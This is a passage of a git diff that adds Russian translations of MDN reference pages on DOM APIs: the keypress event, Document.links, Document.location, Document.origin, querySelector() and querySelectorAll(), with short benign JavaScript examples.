+ <dd>(<strong>Mozilla add-ons only!</strong>) Returns the {{Interface("nsIURI")}} object representing the URI of the document. This property only has special meaning in privileged JavaScript code (with UniversalXPConnect privileges).</dd>
+ <dt>{{domxref("document.popupNode")}}</dt>
+ <dd>Returns the node upon which a popup was invoked.</dd>
+ <dt>{{domxref("document.tooltipNode")}}</dt>
+ <dd>Returns the node which is the target of the current tooltip.</dd>
+</dl>
+
+<p>Mozilla also define some non-standard methods:</p>
+
+<dl>
+ <dt>{{domxref("Document.execCommandShowHelp")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything and always threw an exception, so it was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+ <dt>{{domxref("Document.getBoxObjectFor")}} {{obsolete_inline}}</dt>
+ <dd>Use the {{domxref("Element.getBoundingClientRect()")}} method instead.</dd>
+ <dt>{{domxref("Document.loadOverlay")}} {{Fx_minversion_inline("1.5")}}</dt>
+ <dd>Loads a <a href="/en-US/docs/XUL_Overlays" title="XUL_Overlays">XUL overlay</a> dynamically. This only works in XUL documents.</dd>
+ <dt>{{domxref("document.queryCommandText")}} {{obsolete_inline("14.0")}}</dt>
+ <dd>This method never did anything but throw an exception, and was removed in Gecko 14.0 {{geckoRelease("14.0")}}.</dd>
+</dl>
+
+<h3 id="Internet_Explorer_notes">Internet Explorer notes</h3>
+
+<p>Microsoft defines some non-standard properties:</p>
+
+<dl>
+ <dt>{{domxref("document.fileSize")}}* {{non-standard_inline}} {{obsolete_inline}}</dt>
+ <dd>Returns size in bytes of the document. Starting with Internet Explorer 11, that property is no longer supported. See <a href="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx" title="http://msdn.microsoft.com/en-us/library/ms533752%28v=VS.85%29.aspx">MSDN</a>.</dd>
+ <dt><span style="font-weight: normal; line-height: 1.5;">Internet Explorer does not support all methods from the <code>Node</code> interface in the <code>Document</code> interface:</span></dt>
+</dl>
+
+<dl>
+ <dt>{{domxref("document.contains")}}</dt>
+ <dd>As a work-around, <code>document.body.contains()</code> can be used.</dd>
+</dl>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.Document")}}</p>
diff --git a/files/ru/web/api/document/keypress_event/index.html b/files/ru/web/api/document/keypress_event/index.html
new file mode 100644
index 0000000000..cf6158c111
--- /dev/null
+++ b/files/ru/web/api/document/keypress_event/index.html
@@ -0,0 +1,183 @@
+---
+title: keypress
+slug: Web/API/Document/keypress_event
+translation_of: Web/API/Document/keypress_event
+---
+<p><span class="seoSummary">Событие <code>keypress</code> происходит когда нажимается символьная клавиша, то есть клавиша которая создает символ. Пример таких клавиш это буквы, цифры, знаки пунктуации и т.д. Примеры клавиш которые не создают символы, это клавиши модификаторы, такие как: </span><kbd>Alt</kbd>, <kbd>Shift</kbd>, <kbd>Ctrl</kbd>, or <kbd>Meta</kbd><span class="seoSummary">.</span></p>
+
+<h2 id="Общая_информация">Общая информация</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">Спецификация</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-keypress">DOM L3</a> {{deprecated_inline()}}</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Интерфейс</dt>
+ <dd style="margin: 0 0 0 120px;"><a href="/en-US/docs/DOM/KeyboardEvent" title="http://en-US/docs/DOM/KeyboardEvent">KeyboardEvent</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">Yes</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Цель</dt>
+ <dd style="margin: 0 0 0 120px;">Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Действие по умолчанию</dt>
+ <dd style="margin: 0 0 0 120px;">Varies: <code>keypress</code> event; launch text composition system; <code>blur</code> and <code>focus</code> events; <code>DOMActivate</code> event; other event</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Свойства</th>
+   <th scope="col">Тип</th>
+   <th scope="col">Описание</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget</td>
+   <td>Цель события (самая верхняя цель в дереве DOM).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td>DOMString</td>
+   <td>Тип события.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Whether the event normally bubbles or not</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td>Boolean</td>
+   <td>Отменяется ли событие или нет</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td>WindowProxy</td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td>EventTarget (DOM element)</td>
+   <td>Сосредоточенный элемент, обрабатывающий ключевое событие, корневой элемент, если не выделен подходящий элемент ввода.</td>
+  </tr>
+  <tr>
+   <td><code>char</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>The character value of the key. If the key corresponds to a printable character, this value is a non-empty Unicode string containing that character. If the key doesn't have a printable representation, this is an empty string. See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for the detail.
+    <div class="note"><strong>Примечание:</strong> Если ключ используется в качестве макроса, который вставляет несколько символов, значением этого атрибута является вся строка, а не только первый символ.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>key</code> {{readonlyInline}}</td>
+   <td>DOMString (string)</td>
+   <td>
+    <p>The key value of the key represented by the event. If the value has a printed representation, this attribute's value is the same as the <code>char</code> property. Otherwise, it's one of the key value strings specified in <a href="/en-US/docs/Web/API/KeyboardEvent/key/Key_Values">Key values</a>. If the key can't be identified, its value is the string "Unidentified". See <a href="/en-US/docs/Web/API/KeyboardEvent#Key_names_and_Char_values">key names and char values</a> for more details. Read Only.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>code</code> {{readonlyInline}}
+
+   </td>
+   <td>DOMString (string)</td>
+   <td>Holds a string that identifies the physical key being pressed. The value is not affected by the current keyboard layout or modifier state, so a particular key will always return the same value.</td>
+  </tr>
+  <tr>
+   <td><code>charCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>The Unicode reference number of the key; this attribute is used only by the <a href="/en-US/docs/Mozilla_event_reference/keypress"><code>keypress</code></a> event. For keys whose <code>char</code> attribute contains multiple characters, this is the Unicode value of the first character in that attribute.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>char</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>keyCode</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numerical code identifying the unmodified value of the pressed key. This is usually the decimal ASCII ({{ RFC(20) }}) or Windows 1252 code corresponding to the key; see {{ anch("Virtual key codes") }} for a list of common values. If the key can't be identified, this value is 0.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>which</code> {{readonlyInline}}</td>
+   <td>Unsigned long (int)</td>
+   <td>A system and implementation dependent numeric code identifying the unmodified value of the pressed key; this is usually the same as <code>keyCode</code>.
+    <div class="warning"><strong>Warning:</strong> This attribute is deprecated; you should use <code>key</code> instead, if available.</div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>location</code> {{readonlyInline}}</td>
+   <td>long (float)</td>
+   <td>The location of the key on the device.</td>
+  </tr>
+  <tr>
+   <td><code>repeat</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if a key has been depressed long enough to trigger key repetition, otherwise <code>false</code>.</td>
+  </tr>
+  <tr>
+   <td><code>locale</code> {{readonlyInline}}</td>
+   <td>string</td>
+   <td>The language code for the key event, if available; otherwise, the empty string.</td>
+  </tr>
+  <tr>
+   <td><code>ctrlKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the control key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>shiftKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the shift key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>altKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the alt key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+  <tr>
+   <td><code>metaKey</code> {{readonlyInline}}</td>
+   <td>boolean</td>
+   <td><code>true</code> if the meta key was down when the event was fired. <code>false</code> otherwise.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Заметки">Заметки</h2>
+
+<p>Chrome не запускает событие <code>keypress</code> для известных сочетаний клавиш (<a href="https://bugs.chromium.org/p/chromium/issues/detail?id=13891#c50">reference</a>). Какие сочетания клавиш известны, зависит от системы пользователя. Используйте событие<code>keydown</code> для реализации сочетаний клавиш.</p>
+
+<h2 id="Связанные_события">Связанные события</h2>
+
+<ul>
+ <li>{{event("keydown")}}</li>
+ <li>{{event("keyup")}}</li>
+ <li>{{event("keypress")}}</li>
+ <li>{{event("input")}}</li>
+</ul>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;script&gt;
+
+'use strict';
+
+document.addEventListener('keypress', (event) =&gt; {
+  const keyName = event.key;
+
+  alert('keypress event\n\n' + 'key: ' + keyName);
+});
+
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
diff --git a/files/ru/web/api/document/links/index.html b/files/ru/web/api/document/links/index.html
new file mode 100644
index 0000000000..3497a83b47
--- /dev/null
+++ b/files/ru/web/api/document/links/index.html
@@ -0,0 +1,72 @@
+---
+title: Document.links
+slug: Web/API/Document/links
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Property
+  - Reference
+translation_of: Web/API/Document/links
+---
+<p>{{ APIRef("DOM") }}</p>
+
+<p>Возвращает объект всех элементов {{HTMLElement("area")}} и {{HTMLElement("a")}}, присутствующих на странице с значением атрибута <a href="/en-US/docs/Web/API/URLUtils.href">href</a>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="eval"><em>nodeList</em> = document.links
+</pre>
+
+<p> </p>
+
+<h3 id="Значение">Значение</h3>
+
+<p>{{domxref("HTMLCollection")}}.</p>
+
+<p> </p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">var links = document.links;
+for(var i = 0; i &lt; links.length; i++) {
+  var linkHref = document.createTextNode(links[i].href);
+  var lineBreak = document.createElement("br");
+  document.body.appendChild(linkHref);
+  document.body.appendChild(lineBreak);
+}
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-document-links', 'Document.links')}}</td>
+   <td>{{ Spec2('HTML WHATWG') }}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM2 HTML", "html.html#ID-7068919", "document.links")}}</td>
+   <td>{{Spec2("DOM2 HTML")}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.links")}}</p>
+
+<p> </p>
diff --git a/files/ru/web/api/document/location/index.html b/files/ru/web/api/document/location/index.html
new file mode 100644
index 0000000000..f0541c8c74
--- /dev/null
+++ b/files/ru/web/api/document/location/index.html
@@ -0,0 +1,76 @@
+---
+title: Document.location
+slug: Web/API/Document/location
+tags:
+  - API
+  - Document
+  - HTML DOM
+  - Read-only
+  - Свойство
+translation_of: Web/API/Document/location
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p>Доступное только для чтения свойство <strong><code>Document.location</code></strong> возвращает объект {{domxref("Location")}}, который содержит информацию о URL страницы и предоставляет методы для изменения этого URL и загрузки другого URL.</p>
+
+<p>Хотя <code>Document.location</code> это <em>read-only</em> объект <code>Location</code>, вы всё же можете присвоить ему {{domxref("DOMString")}}. Это означает, что в большинстве случаев вы можете работать с document.location так, будто это строка: <code>document.location = 'http://www.example.com'</code> фактически то же, что и <code>document.location.href = 'http://www.example.com'</code>.</p>
+
+<p>Чтобы получить URL как строку, вы можете использовать <em>read-only</em> свойство {{domxref("document.URL")}}.</p>
+
+<p>Если страница находится вне текущего контекста, вернётся <code>null</code>.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre><em>locationObj</em> = document.location
+document.location = 'http://www.mozilla.org' // Эквиваленто след.
+document.location.href = 'http://www.mozilla.org'</pre>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">dump(document.location);
+// Выведет строку
+// "http://www.example.com/juicybits.html" в консоли
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарии</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', "history.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Нет изменений с {{SpecName("HTML5 W3C")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5 W3C', "browsers.html#the-location-interface", "Document.location")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Исходное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p> </p>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.location")}}</p>
+
+<p> </p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Интерфейс возвращаемого значения, {{domxref("Location")}}.</li>
+ <li>Похожая информация, но привязанная к контексту, {{domxref("Window.location")}}</li>
+</ul>
+
+<p> </p>
diff --git a/files/ru/web/api/document/origin/index.html b/files/ru/web/api/document/origin/index.html
new file mode 100644
index 0000000000..31ebf7845b
--- /dev/null
+++ b/files/ru/web/api/document/origin/index.html
@@ -0,0 +1,109 @@
+---
+title: Document.origin
+slug: Web/API/Document/origin
+tags:
+  - API
+  - DOM
+  - Read-only
+  - Интерфейс
+  - Свойство
+  - Эксперементальный
+translation_of: Web/API/Document/origin
+---
+<div>{{APIRef("DOM")}}{{SeeCompatTable}}</div>
+
+<div> </div>
+
+<p><strong>Document.origin — </strong>это свойство, доступное только для чтения, которое возвращает <strong>origin </strong>документа. В большинстве случаев это свойство эквивалентно  <code><strong>document.defaultView.location.origin</strong>.</code></p>
+
+<h2 id="Примеры">Примеры</h2>
+
+<pre class="brush: js">var origin = document.origin;
+// На этой странице вернёт:'https://developer.mozilla.org'
+
+var origin = document.origin;
+// Для "about:blank" вернёт:'null'
+
+var origin = document.origin;
+// Для "data:text/html,&lt;b&gt;foo&lt;/b&gt;" вернёт:'null'
+</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-document-origin', 'Document.origin')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Начальное определение (выставляется во время инициализации DOM).</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#origin:document', 'origin for Document objects')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Начальное определение (выставляется во время инициализации DOM).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatChrome(41)}}</td>
+   <td>{{CompatNo}} {{bug(931884)}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Особенность</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Свойство {{domxref("URLUtils.origin")}}.</li>
+</ul>
diff --git a/files/ru/web/api/document/queryselector/index.html b/files/ru/web/api/document/queryselector/index.html
new file mode 100644
index 0000000000..2a4803421f
--- /dev/null
+++ b/files/ru/web/api/document/queryselector/index.html
@@ -0,0 +1,131 @@
+---
+title: Document.querySelector()
+slug: Web/API/Document/querySelector
+tags:
+  - CSS
+  - DOM
+  - Selector
+  - querySelector
+  - выборка
+  - поиск элемента
+  - поиск элементов
+  - селектор
+translation_of: Web/API/Document/querySelector
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>{{domxref("Document")}} метод <code><strong>querySelector()</strong></code> возвращает первый элемент ({{domxref("Element")}}) документа, который соответствует указанному селектору или группе селекторов. Если совпадений не найдено, возвращает значение <code>null</code>.</p>
+
+<div class="blockIndicator note">
+<p><strong>Заметка</strong>: Сопоставление выполняется с использованием обхода по предварительному порядку в глубину узлов документа, начиная с первого элемента в разметке документа и повторяя последовательные узлы по порядку количества дочерних узлов.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js notranslate">element = document.querySelector(selectors);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><var>селекторы</var></dt>
+ <dd>{{domxref("DOMString")}}, содержайщий один или более селекторов для сопоставления. Эта строка должна быть допустимой строкой селектора CSS; если же нет, генерируется исключение <code>SYNTAX_ERR</code>. Смотрите <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Расположение элементов DOM с использованием селекторов</a> для того, чтобы узнать больше о селекторах и о том, как ими управлять.</dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong>Заметка:</strong> Символы, которые не являются частью стандартного синтаксиса CSS должны быть экранированы символом обратной косой черты. Поскольку JavaScript также использует экранирование символом обратной косой черты, будьте особенно внимательны при написании строковых литералов с использованием этих символов. См. {{anch("Escaping special characters")}} для получения дополнительной информации.</p>
+</div>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Ссылка на объект типа {{domxref("Element")}}, являющийся первым элементов в документе, который соответствует указанному набору <a href="https://developer.mozilla.org/ru/docs/Web/CSS/CSS_%D0%A1%D0%B5%D0%BB%D0%B5%D0%BA%D1%82%D0%BE%D1%80%D1%8B">CSS селекторов</a>, либо <code>null</code>, если совпадений нет.  </p>
+
+<p>Если вам нужен список всех элементов, соответствующих указанным селекторам, используйте функцию {{domxref("Document.querySelectorAll", "querySelectorAll()")}}.</p>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SYNTAX_ERR</code></dt>
+ <dd>Некорректный синтаксис указанных селекторов <var>selectors</var>.</dd>
+</dl>
+
+<h2 id="Примечания_по_использованию">Примечания по использованию</h2>
+
+<p>Если указанный селектор соответствует идентификатору, который неправильно используется более одного раза в документе, возвращается первый элемент с этим идентификатором.</p>
+
+<p><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">Псевдо-элементы CSS</a> никогда не вернут никаких элементов, как указано в <a href="http://www.w3.org/TR/selectors-api/#grammar">API селекторов</a>.</p>
+
+<h3 id="Экранирование_специальных_символов">Экранирование специальных символов</h3>
+
+<p>Чтобы сопоставить ID или селектроры, которые не соответствуют стандартному синтаксису CSS (например, использующих ненадлежащим образом двоеточие или пробел), необходимо экранировать символ обратной косой чертой ("<code>\</code>"). Поскольку обратная косая черта также является экранирующим символом в JavaScript, то при вводе литеральной строки необходимо экранировать ее <em>дважды</em> (первый раз для строки JavaScript и второй для <code>querySelector()</code>):</p>
+
+<pre class="brush: html notranslate">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+  console.log('#foo\bar');               // "#fooar" (\b is the backspace control character)
+  document.querySelector('#foo\bar');    // Does not match anything
+
+  console.log('#foo\\bar');              // "#foo\bar"
+  console.log('#foo\\\\bar');            // "#foo\\bar"
+  document.querySelector('#foo\\bar'); // Match the first div
+
+  document.querySelector('#foo:bar');    // Does not match anything
+  document.querySelector('#foo\\:bar');  // Match the second div
+&lt;/script&gt;</pre>
+
+<h2 id="Example" name="Example">Примеры</h2>
+
+<h3 id="Выбор_первого_элемента_с_совпадающим_классом">Выбор первого элемента с совпадающим классом</h3>
+
+<p>В этом примере, нам вернется первый элемент в документе с классом "<code>myclass</code>":</p>
+
+<pre class="brush: js notranslate">var el = document.querySelector(".myclass");
+</pre>
+
+<h3 id="Notes" name="Notes">Более сложный селектор</h3>
+
+<p>Селекторы, передаваемые в querySelector, могут быть использованы и для точного поиска, как показано в примере ниже. В данном примере возвращается элемент &lt;input name="login"/&gt;, находящийся в &lt;div class="user-panel main"&gt;:</p>
+
+<pre class="brush: js notranslate">var el = document.querySelector("div.user-panel.main input[name=login]");
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Изначальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.Document.querySelector")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors">Locating DOM elements using selectors</a></li>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">Фрагменты кода для querySelector</a></li>
+</ul>
diff --git a/files/ru/web/api/document/queryselectorall/index.html b/files/ru/web/api/document/queryselectorall/index.html
new file mode 100644
index 0000000000..3706d0099d
--- /dev/null
+++ b/files/ru/web/api/document/queryselectorall/index.html
@@ -0,0 +1,165 @@
+---
+title: Document.querySelectorAll()
+slug: Web/API/Document/querySelectorAll
+tags:
+  - API
+  - DOM
+  - Document
+  - Method
+  - Selectors
+translation_of: Web/API/Document/querySelectorAll
+---
+<div>{{ ApiRef("DOM") }}</div>
+
+<p>Метод <code><strong>querySelectorAll()</strong></code> {{domxref("Document")}} возвращает статический (не динамический) {{domxref("NodeList")}}, содержащий все найденные элементы документа, которые соответствуют указанному селектору.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong> Данный метод реализован на основе миксина {{domxref("ParentNode")}} {{domxref("ParentNode.querySelectorAll", "querySelectorAll()")}} метода.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="brush: js">elementList = document.querySelectorAll(selectors);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><strong><code>selectors</code></strong></dt>
+ <dd>Строка {{domxref("DOMString")}}, содержащая один или более <a href="/en-US/docs/Web/Guide/CSS/Getting_Started/Selectors">CSS селектор</a>. Эта строка должна быть валидным <a href="/ru/docs/Web/CSS/CSS_Selectors">CSS селектором</a>. Если это не так, то генерируется <code>SyntaxError</code>. Смотрите <a href="/ru/docs/DOM/DOM_Reference/Locating_DOM_elements_using_selectors">Поиск элементов DOM с использованием селекторов</a> для получения информации о том, распознавать элементы. Несколько селекторов нужно разделить запятыми.</dd>
+</dl>
+
+<div class="note">
+<p><strong>Примечание:</strong> Символы, которые не являются частью стандартного синтаксиса CSS, должны быть экранированы с помощью символа обратной косой черты (<code>\</code>). Поскольку в JavaScript также используется экранирование обратной косой черты, при написании строковых литералов с использованием этих символов следует соблюдать особую осторожность. Для более подробной информации смотри {{anch("Escaping special characters")}}.</p>
+</div>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Статический (non-live) {{domxref("NodeList")}}, содержащий все элементы в пределах документа, которые соответствуют как минимум одному из указанных селекторов, или пустой {{domxref("NodeList")}} в случае отсутствия совпадений.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Если в строке <code>selectors</code> содержатся <a href="/ru/docs/Web/CSS/Pseudo-elements">CSS псевдоэлементы</a>, то возвращаемый список будет всегда пуст.</p>
+</div>
+
+<h3 id="Исключения">Исключения</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>Исключение <code>SYNTAX_ERR</code> происходит в случае передачи некорректной группы селекторов.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<h3 id="Получение_списка_совпадений">Получение списка совпадений</h3>
+
+<p>Чтобы получить {{domxref("NodeList")}} всех элементов {{HTMLElement("p")}} в документе:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("p");</pre>
+
+<p>В этом примере возвращается список всех элементов {{HTMLElement ("div")}} в документе, которые имеют класс <code>note</code> или <code>alert</code>:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert");
+</pre>
+
+<p>Здесь мы получаем список элементов <code>&lt;p&gt;</code>, чьим непосредственным родительским элементом явялется {{HTMLElement("div")}} с классом <code>highlighted</code>, который расположен внутри контейнера с идентификатором <code>test</code>.</p>
+
+<pre class="brush: js">var container = document.querySelector("#test");
+var matches = container.querySelectorAll("div.highlighted &gt; p");</pre>
+
+<p>В этом примере используются <a href="/ru/docs/Web/CSS/Attribute_selectors">селекторы атрибутов</a>, чтобы вернуть список элементов {{HTMLElement("iframe")}}, которые содержат атрибут <code>data-src</code>:</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("iframe[data-src]");</pre>
+
+<p>Здесь селектор атрибута используется для возврата элементов списка, содержащихся в списке с идентификатором <code>"userlist"</code>, который имеет атрибут <code>"data-active"</code> со значением <code>"1"</code>:</p>
+
+<pre class="brush: js">var container = document.querySelector("#userlist");
+var matches = container.querySelectorAll("li[data-active='1']");</pre>
+
+<h3 id="Доступ_к_совпадениям">Доступ к совпадениям</h3>
+
+<p>Вернув {{domxref("NodeList")}} совпадений один раз, вы можете использовать его как простой массив. Если массив пустой (т. е. свойство <code>length</code> равно 0), то совпадений не было найдено.</p>
+
+<p>В другом случае, вы можете использовать стандартную запись массива для доступа к содержимому. Вы можете использовать любой оператор зацикливания, например:</p>
+
+<pre class="brush: js">var highlightedItems = userList.querySelectorAll(".highlighted");
+
+highlightedItems.forEach(function(userItem) {
+  deleteUser(userItem);
+});</pre>
+
+<h2 id="Примечания_пользователя">Примечания пользователя</h2>
+
